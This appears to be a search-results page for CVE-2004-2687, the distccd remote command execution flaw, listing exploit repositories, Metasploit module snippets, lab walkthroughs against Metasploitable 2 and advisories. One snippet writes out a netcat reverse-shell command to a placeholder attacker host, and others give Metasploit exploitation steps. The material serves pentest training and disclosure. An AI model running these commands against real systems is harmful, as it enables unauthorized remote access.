13 matches found
distccd_rce_CVE-2004-2687
distccdrceCVE-2004-2687 🖥️ -h3x0v3rl0rd- ️⃣ CVE-2004-2687 ️⃣ Actualizado a Python3 Resumen Este repositorio contiene un exploit de Prueba de Concepto PoC para la vulnerabilidad distccd identificada como CVE-2004-2687. La vulnerabilidad existe en el demonio distccd, que forma parte del sistema de...
Metasploitable-2-Distcc-Exploit-via-Kali-Linux-CVE-2004-2687
🎬 这个 YouTube 视频 1️⃣ 目标识别（Nmap） nmap -sV -p 3632 192.168.56.102 ✅ 结果如下： 3632/tcp open distccd v1 👉 所以 distcc 是开放的并且可被利用。 2️⃣ 启动 Metasploit msfconsole 3️⃣ 选择 Distcc 漏洞利用 use exploit/unix/misc/distccexec 4️⃣ 检查设置 show options 必要参数： 选项| 值 ---|--- RHOSTS| Metasploitable IP RPORT| 3632 PAYLOAD|...
distccd_rce_CVE-2004-2687
El objetivo de este script no es usar Metasploit, sino hacerlo manualmente. Uso: nc -lvnp 4466 Ejecutando el exploit: python3 ./exploit.py -t targetip -p targetport -c "nc attackerip attackerport -e /bin/sh"...
CyberSecurity-Pentest-Lab
Distcc 3.2.1 — Remote Code Execution CVE-2004-2687 Laboratorio de penetration testing: identificación, explotación y remediación de una vulnerabilidad RCE sin autenticación en Distcc 3.2.1, realizado contra Metasploitable 2 en un entorno de laboratorio aislado Kali Linux como atacante. Ejercicio...
VulnLinux-Exploitation
Lab 01: Vulnerable Linux Reconnaissance + Enumeration + Remote...
Fedora 29 : distcc (2019-dfef0af227)
Restrict default configuration to localhost. Note that Tenable Network Security has extracted the preceding description block directly from the Fedora update system website. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues. C...
DistCC Daemon - Command Execution
No description provided by source. $Id$ This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and terms of use. http://metasploit.com/framework/ require...
CVE-2004-2687
CVE-2004-2687 concerns distcc (distccd) where, if the server port is not access-restricted, remote attackers can execute arbitrary commands via compilation jobs. The core issue is lack of authorization checks in the distccd daemon when handling distributed compilation requests. Affected scope app...
CVE-2004-2687
distcc 2.x, as used in XCode 1.5 and others, when not configured to restrict access to the server port, allows remote attackers to execute arbitrary commands via compilation jobs, which are executed by the server without authorization checks...
DistCC Daemon - Command Execution (Metasploit)
$Id: distccexec.rb 9669 2010-07-03 03:13:45Z jduck $ This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and terms of use. http://metasploit.com/framework/...
DistCC Daemon Command Execution
No description provided by source. $Id$ This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and terms of use. http://metasploit.com/framework/ require...
DistCC Daemon - Command Execution (Metasploit)
DistCC Daemon - Command Execution Metasploit $Id: distccexec.rb 9669 2010-07-03 03:13:45Z jduck $ This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and term...
DistCC Daemon Command Execution
This module uses a documented security weakness to execute arbitrary commands on any system running distccd. Module Options msf use exploit/unix/misc/distcc/exec msf undefinedexec show actions ...actions... msf undefinedexec set ACTION msf undefinedexec show options ...show and set options... msf...